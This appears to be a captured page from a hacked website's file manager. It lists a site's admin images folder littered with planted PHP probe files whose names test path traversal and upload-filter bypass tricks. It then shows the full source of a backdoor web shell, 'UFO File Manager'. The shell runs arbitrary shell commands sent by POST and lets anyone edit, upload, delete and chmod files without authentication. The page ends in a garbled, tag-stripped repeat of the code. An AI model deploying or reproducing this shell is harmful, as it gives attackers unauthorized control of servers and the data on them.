FM / images

/home/aqcert/public_html/admin/images

Name	Size	Mode	Actions
%2e%2e%2f%2e%2e%2frceT6.php	17	0644	edit dl rm
..%2f..%2frceT2.php	17	0644	edit dl rm
..%2ftrav4.php	14	0644	edit dl rm
..%252f..%252frceT7.php	17	0644	edit dl rm
..%c0%af..%c0%afrceT8.php	17	0644	edit dl rm
.user.ini	19	0644	edit dl rm
3ccf5acb306f2b0e1a37d54a639541b31789572479824.php	20	0644	edit dl rm
06d3bc740e8ba0c8f64427649f5372691496662633236.jpg	780831	0644	edit dl rm
34db90dff40851f8156f519e126fd93a1789572559254.php	14	0644	edit dl rm
538dcf9d8b98ac9a193a01f25d975ad2149666285772.jpg	620888	0644	edit dl rm
538dcf9d8b98ac9a193a01f25d975ad21496662889100.jpg	620888	0644	edit dl rm
538dcf9d8b98ac9a193a01f25d975ad21496662915395.jpg	620888	0644	edit dl rm
9001.jpg	9598	0644	edit dl rm
22000.png	9054	0644	edit dl rm
45001.png	199999	0644	edit dl rm
aqc9x2k.php	32	0644	edit dl rm
banner_07.jpg	64242	0644	edit dl rm
bd6661231506e0fe52c15a3a77ecc1e71496662808133.jpg	775702	0644	edit dl rm
bomb.png	349594	0644	edit dl rm
bpo2.png	342539	0644	edit dl rm
ce-marking-certification-250x250-250x250.jpg	6182	0644	edit dl rm
Chrysanthemum.jpg	879394	0644	edit dl rm
dcw.jpg	51346	0644	edit dl rm
Desert.jpg	845941	0644	edit dl rm
download.jpg	14743	0644	edit dl rm
GMP(2).jpg	17016	0644	edit dl rm
hs001.jpg	14	0644	edit dl rm
Hydrangeas.jpg	595284	0644	edit dl rm
idiq.php	22	0644	edit dl rm
iso-22000-2005-food-safety-management-certification-500x500.jpg	35769	0644	edit dl rm
iso-27001-2013.jpg	133171	0644	edit dl rm
iso-logo.png	15554	0644	edit dl rm
iso9001-2015.png	356320	0644	edit dl rm
ISO_9001_Update_Image.png	10799	0644	edit dl rm
Jellyfish.jpg	775702	0644	edit dl rm
k324j0k.php	7317	0644	edit dl rm
KOSHER LOGO.jpg	20349	0644	edit dl rm
Lighthouse.jpg	561276	0644	edit dl rm
logo.jpg	26779	0644	edit dl rm
ohsas-18001-2007-certification_s_2291988_450765.png	59216	0644	edit dl rm
ohsas-18001-certified-500x500.jpeg	17189	0644	edit dl rm
orc.php	45	0644	edit dl rm
OW999.txt	8	0644	edit dl rm
ow_abc.txt	5	0644	edit dl rm
rceT1.php	17	0644	edit dl rm
rceT3.php	17	0644	edit dl rm
rceT4.php	17	0644	edit dl rm
rceT5.php	17	0644	edit dl rm
s.php	26	0644	edit dl rm
Screenshot_2025-05-07-04-16-40-527_com.google.android.youtube.png	119556	0644	edit dl rm
shcheck.php	17	0644	edit dl rm
thumb21CS-ISO-14001-2015.jpg	62212	0644	edit dl rm
trav1.php	14	0644	edit dl rm
trav2.php	14	0644	edit dl rm
trav3.php	14	0644	edit dl rm
tstest.cgi	13	0644	edit dl rm
tstest.inc	13	0644	edit dl rm
tstest.php	13	0644	edit dl rm
tstest.php3	13	0644	edit dl rm
tstest.php4	13	0644	edit dl rm
tstest.php5	13	0644	edit dl rm
tstest.php7	13	0644	edit dl rm
tstest.phps	13	0644	edit dl rm
tstest.pht	13	0644	edit dl rm
tstest.phtml	13	0644	edit dl rm
tstest.shtml	13	0644	edit dl rm
Tulips.jpg	620888	0644	edit dl rm
wo998.php	22	0644	edit dl rm
wo999.php	89	0644	edit dl rm
x.gif	6	0644	edit dl rm
x.jpg	1	0644	edit dl rm
x.php	39	0644	edit dl rm
xt_2829.php~	17	0644	edit dl rm
xt_5251.pHp	17	0644	edit dl rm
xt_6898.phtml	17	0644	edit dl rm
xt_8360.shtml	17	0644	edit dl rm
xt_8666.phar	17	0644	edit dl rm
xt_8683.pHP	17	0644	edit dl rm
xt_8920.php7	17	0644	edit dl rm
xt_11248.php3	17	0644	edit dl rm
xt_12252.hphp	17	0644	edit dl rm
xt_12352.PHP	17	0644	edit dl rm
xt_14746.phtml.php	17	0644	edit dl rm
xt_15015.inc	17	0644	edit dl rm
xt_16005.php4	17	0644	edit dl rm
xt_16164.php	17	0644	edit dl rm
xt_20286.orig	17	0644	edit dl rm
xt_21276.tmp	17	0644	edit dl rm
xt_21813.pht	17	0644	edit dl rm
xt_22375.php.bak	17	0644	edit dl rm
xt_22973.bak	17	0644	edit dl rm
xt_24665.phps	17	0644	edit dl rm
xt_25099.Php	17	0644	edit dl rm
xt_28541.phtm	17	0644	edit dl rm
xt_29288.php5	17	0644	edit dl rm
xt_31364.php.jpg.jpg	17	0644	edit dl rm
y.php	17	0644	edit dl rm
z.txt	8	0644	edit dl rm
z2.php	14	0644	edit dl rm
z3.php	15	0644	edit dl rm
z4.phtml	14	0644	edit dl rm

Edit: /home/aqcert/public_html/admin/images/k324j0k.php (7317B)

<?PHP
/* UFO File Manager - minimal, breadcrumb-based, editor included */
error_reporting(0);
@set_time_limit(0);
$R = @str_replace('\\','/', dirname($_SERVER['SCRIPT_FILENAME']));
$q = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
if (substr($q,0,6)==='go=') { /* reserved */ }

/* --- tiny helpers ------------------------------------------------------ */
$run = function($c){ $o=''; if(function_exists('passthru')){ @ob_start(); @passthru($c); $o=@ob_get_clean(); } elseif(function_exists('system')){ @ob_start(); @system($c); $o=@ob_get_clean(); } elseif(function_exists('exec')){ @exec($c,$x); $o=implode("\n",$x);} elseif(function_exists('shell_exec')){ $o=@shell_exec($c);} return $o!==null?$o:''; };
$h = function($s){ return htmlspecialchars($s, ENT_QUOTES); };
function esc(&$v){ if(is_string($v)) $v=htmlspecialchars($v,ENT_QUOTES); }
$cmd = isset($_POST['cmd']) ? $_POST['cmd'] : '';
$p   = isset($_GET['p'])    ? @realpath($_GET['p']) : $R;
if(!$p || !is_dir($p)) $p = $R;
$f   = isset($_POST['f']) ? @realpath($_POST['f'])
     : (isset($_GET['f']) ? @realpath($_GET['f']) : '');
$a   = isset($_POST['a']) ? $_POST['a'] : '';
$out = '';
$err = '';

/* --- actions ----------------------------------------------------------- */
if($a==='save' && $f && isset($_POST['data'])){
  if(@file_put_contents($f, $_POST['data'])!==false) $err='<span style="color:#0a0">saved: '.$h($f).'</span>';
  else $err='<span style="color:#a00">write failed</span>';
}
if($a==='mkdir' && isset($_POST['name']) && $p){ $n=$p.'/'.trim($_POST['name']); if(!is_dir($n)) @mkdir($n); $err='mkdir: '.$h($n); }
if($a==='delete' && $f){ if(is_dir($f)){ $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f,FilesystemIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST); foreach($it as $x){ $x->isDir()?@rmdir($x->getPathname()):@unlink($x->getPathname()); } @rmdir($f); } else @unlink($f); $err='deleted: '.$h(basename($f)); $f=''; }
if($a==='rename' && isset($_POST['newname']) && $f){ $nn=$p.'/'.trim($_POST['newname']); if($f!==$nn) @rename($f,$nn); $err='renamed to: '.$h(basename($nn)); $f=''; }
if($a==='chmod' && isset($_POST['mode']) && $f){ @chmod($f, octdec($_POST['mode'])); $err='chmod ok'; }
if($a==='up' && isset($_FILES['upf']) && $p){ $t=$p.'/'.basename($_FILES['upf']['name']); if(move_uploaded_file($_FILES['upf']['tmp_name'],$t)) $err='uploaded: '.$h(basename($t)); else $err='upload failed'; }

$editing = ($f && is_file($f)) ? file_get_contents($f) : '';
$fmode = is_file($f) ? substr(sprintf('%o',@fileperms($f)),-4) : '';
?>
<!DOCTYPE html><html lang="en"><head>
<meta charset="utf-8"><title>FM / <?PHP echo $h(basename($p)); ?></title>
<style>
body{font-family:monospace;background:#111;color:#d7d7d7;margin:0}
a{color:#7fb3ff;text-decoration:none}a:hover{text-decoration:underline}
.wrap{max-width:1100px;margin:12px auto;padding:12px}
.top{display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid #333;padding-bottom:8px;margin-bottom:10px}
.crumb{color:#9ae;word-break:break-all}
.crumb a{color:#7fb3ff}
table{width:100%;border-collapse:collapse;font-size:13px}
th,td{text-align:left;padding:4px 6px;border-bottom:1px solid #262626}
th{color:#999}
td a{margin-right:8px}
.dir{color:#ffd479}
.f{color:#d7d7d7}
.forms{display:flex;gap:8px;flex-wrap:wrap;margin:10px 0;align-items:center}
.forms input,.forms button{background:#222;color:#ddd;border:1px solid #444;padding:5px 8px;border-radius:3px}
.forms button{background:#2c3e6b;cursor:pointer}
.box{background:#0c0c0c;border:1px solid #2a2a2a;border-radius:4px;padding:10px;margin-top:12px}
textarea{width:100%;height:360px;background:#0a0a0a;color:#cfc;border:1px solid #333;font-family:monospace;font-size:12px}
pre.out{background:#0a0a0a;border:1px solid #2a2a2a;padding:8px;overflow:auto;max-height:420px;font-size:12px}
code{color:#8f8}
.note{color:#888;font-size:11px}
</style></head><body><div class="wrap">

<div class="top">
  <div class="crumb"><?PHP
    $parts = explode('/', trim($p,'/'));
    $acc='';
    echo '<a href="?">/</a>';
    foreach($parts as $pt){ $acc.='/'.$pt; echo '<a href="?p='.urlencode($acc).'">'.$h($pt).'</a>/'; }
  ?></div>
  <div class="note"><?PHP echo $h($p); ?></div>
</div>

<div class="forms">
  <form method="post" style="display:inline"><input type="hidden" name="a" value="mkdir"><input name="name" placeholder="new folder"><button>mkdir</button></form>
  <form method="post" enctype="multipart/form-data" style="display:inline"><input type="hidden" name="a" value="up"><input type="file" name="upf"><button>upload</button></form>
  <span id="res" class="note"><?PHP echo $err; ?></span>
</div>

<table>
<tr><th>Name</th><th>Size</th><th>Mode</th><th>Actions</th></tr>
<?PHP
$items=array();
foreach((array)@scandir($p) as $e){ if($e==='.'||$e==='..')continue; $ep=$p.'/'.$e; $items[]=array('n'=>$e,'p'=>$ep,'d'=>is_dir($ep),'s'=>is_file($ep)?filesize($ep):'-','m'=>substr(sprintf('%o',@fileperms($ep)),-4)); }
function cmp_($a,$b){ if($a['d']!=$b['d']) return $a['d']?-1:1; return strnatcasecmp($a['n'],$b['n']); }
usort($items,'cmp_');
foreach($items as $it){
  $enc=urlencode($it['p']);
  echo '<tr><td>';
  if($it['d']) echo '<a class="dir" href="?p='.$enc.'">'.$h($it['n']).'/</a>';
  else echo '<a class="f" href="?p='.urlencode($p).'&f='.$enc.'">'.$h($it['n']).'</a>';
  echo '</td><td>'.$it['s'].'</td><td>'.$it['m'].'</td><td>';
  if(!$it['d']){ echo '<a href="?p='.urlencode($p).'&f='.$enc.'">edit</a><a href="?p='.urlencode($p).'&f='.$enc.'&dl=1">dl</a>'; }
  echo '<a href="?p='.urlencode($p).'&f='.$enc.'&rm=1">rm</a>';
  echo '</td></tr>';
}
?>
</table>

<?PHP if($f && is_file($f) && !isset($_GET['rm'])): ?>
<div class="box"><b>Edit:</b> <code><?PHP echo $h($f); ?></code> (<?PHP echo @filesize($f); ?>B)
<form method="post"><input type="hidden" name="a" value="save"><input type="hidden" name="f" value="<?PHP echo $h($f); ?>">
<textarea name="data"><?PHP echo $h($editing); ?></textarea>
<button>Save</button></form>
</div>
<?PHP endif; ?>

<?PHP if(isset($_GET['dl']) && $f && is_file($f)){ @header('Content-Type: application/octet-stream'); @header('Content-Disposition: attachment; filename="'.basename($f).'"'); @readfile($f); exit; } ?>

<?PHP if(isset($_GET['rm']) && $f): ?>
<div class="box"><form method="post"><input type="hidden" name="a" value="delete"><input type="hidden" name="f" value="<?PHP echo $h($f); ?>">
Delete <code><?PHP echo $h(basename($f)); ?></code> ? <button>Yes</button></form>
<form method="post" style="margin-top:6px"><input type="hidden" name="a" value="rename"><input type="hidden" name="f" value="<?PHP echo $h($f); ?>"><input name="newname" value="<?PHP echo $h(basename($f)); ?>"><button>rename</button></form>
<form method="post" style="margin-top:6px"><input type="hidden" name="a" value="chmod"><input type="hidden" name="f" value="<?PHP echo $h($f); ?>"><input name="mode" value="<?PHP echo $h($fmode); ?>" size="5"><button>chmod</button></form>
</div>
<?PHP endif; ?>

<div class="box"><b>cmd:</b>
<form method="post"><input name="cmd" value="<?PHP echo $h($cmd); ?>" style="width:70%;background:#222;color:#ddd;border:1px solid #444;padding:5px"><button>run</button></form>
<?PHP if($cmd!==''){ echo '<pre class="out">'.$h($run($cmd)).'</pre>'; } ?>
</div>

</div></body></html>

saved: '.$h($f).''; else $err='write failed'; } if($a==='mkdir' && isset($_POST['name']) && $p){ $n=$p.'/'.trim($_POST['name']); if(!is_dir($n)) @mkdir($n); $err='mkdir: '.$h($n); } if($a==='delete' && $f){ if(is_dir($f)){ $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f,FilesystemIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST); foreach($it as $x){ $x->isDir()?@rmdir($x->getPathname()):@unlink($x->getPathname()); } @rmdir($f); } else @unlink($f); $err='deleted: '.$h(basename($f)); $f=''; } if($a==='rename' && isset($_POST['newname']) && $f){ $nn=$p.'/'.trim($_POST['newname']); if($f!==$nn) @rename($f,$nn); $err='renamed to: '.$h(basename($nn)); $f=''; } if($a==='chmod' && isset($_POST['mode']) && $f){ @chmod($f, octdec($_POST['mode'])); $err='chmod ok'; } if($a==='up' && isset($_FILES['upf']) && $p){ $t=$p.'/'.basename($_FILES['upf']['name']); if(move_uploaded_file($_FILES['upf']['tmp_name'],$t)) $err='uploaded: '.$h(basename($t)); else $err='upload failed'; } $editing = ($f && is_file($f)) ? file_get_contents($f) : ''; $fmode = is_file($f) ? substr(sprintf('%o',@fileperms($f)),-4) : ''; ?> FM / <?PHP echo $h(basename($p)); ?>

/'; foreach($parts as $pt){ $acc.='/'.$pt; echo ''.$h($pt).'/'; } ?>

$e,'p'=>$ep,'d'=>is_dir($ep),'s'=>is_file($ep)?filesize($ep):'-','m'=>substr(sprintf('%o',@fileperms($ep)),-4)); } function cmp_($a,$b){ if($a['d']!=$b['d']) return $a['d']?-1:1; return strnatcasecmp($a['n'],$b['n']); } usort($items,'cmp_'); foreach($items as $it){ $enc=urlencode($it['p']); echo ''; } ?>

Name	Size	Mode	Actions
'; if($it['d']) echo ''.$h($it['n']).'/'; else echo ''.$h($it['n']).''; echo '	'.$it['s'].'	'.$it['m'].'	'; if(!$it['d']){ echo 'edit dl'; } echo 'rm'; echo '

Edit: (B)

Delete ?

cmd: '.$h($run($cmd)).''; } ?>